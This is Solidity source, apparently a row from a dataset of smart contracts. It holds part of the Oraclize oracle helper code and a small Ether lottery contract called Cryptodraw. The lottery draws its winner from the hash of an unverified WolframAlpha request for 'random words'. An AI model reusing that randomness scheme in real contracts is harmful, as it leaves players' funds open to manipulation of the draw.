bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
bool match_ = true;
if (prefix.length != n_random_bytes) throw;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract Cryptodraw is usingOraclize {
address private contractOwner;
address[] private playerList;
string private wolframRandom;
event newWolframRandom(string wolframRandom);
string private previousSeed;
bytes32 private previousHash;
uint private previousHashUint;
uint private previousWinner;
uint private winner;
uint constant ticketPrice = 0.01 ether;
uint constant maxPlayers = 10;
uint constant Fee = 4;
uint round = 1;
address poolOwner = msg.sender;
uint timestamp = now + 2 weeks;
function Cryptodraw() public {
contractOwner = msg.sender;
oraclize_setCustomGasPrice(5000000000 wei);
}
modifier restricted() {
require(msg.sender == contractOwner);
_;
}
function __callback(bytes32 myid, string result) {
if (msg.sender != oraclize_cbAddress()) throw;
wolframRandom = result;
newWolframRandom(wolframRandom);
uint ownerFee = address(this).balance / 100 * Fee;
uint totalPayout = address(this).balance - ownerFee;
winner = calculateHash() % playerList.length;
playerList[winner].transfer(totalPayout);
poolOwner.transfer(ownerFee);
previousSeed = wolframRandom;
previousHash = keccak256(wolframRandom);
previousHashUint = uint(keccak256(wolframRandom));
previousWinner = winner;
playerList = new address[](0);
round += 1;
timestamp = now + 2 weeks;
}
function joinLottery() public payable {
if (playerList.length < maxPlayers) {
require(msg.value == ticketPrice);
playerList.push(msg.sender);
}
else {
revert();
}
}
function calculateHash() internal returns (uint) {
return uint(keccak256(wolframRandom));
}
function update() payable {
if (playerList.length == maxPlayers || now > timestamp) {
if (oraclize_getPrice("URL") > this.balance) {
}
else {
oraclize_query("WolframAlpha", "Give me 20 random words", 700000);
}
}
else {
revert();
}
}
function notSameSeed (string a, string b) private view returns (bool) {
return keccak256(a) != keccak256(b);
}
function getPreviousSeed() public view returns (string) {
return previousSeed;
}
function getHash() public view returns (bytes32) {
return previousHash;
}
function getPreviousHashUint() public view returns (uint) {
return previousHashUint;
}
function getPlayerLength() public view returns (uint) {
return playerList.length;
}
function getPreviousWinner() public view returns (uint) {
return previousWinner;
}
function getPlayers() public view returns (address[]) {
return playerList;
}
function getTime() public view returns (uint) {
return timestamp;
}
function getMaxTickets() public view returns (uint) {
return maxPlayers;
}
function getRound() public view returns (uint) {
return round;
}
function getTicketsLeft() public view returns (uint) {
return maxPlayers - playerList.length;
}
function getLotteryBalance() public view returns (uint) {
return address(this).balance;
}
function getTicketPrice() public view returns (uint) {
return ticketPrice;
}
} | 0 | 1,748 |
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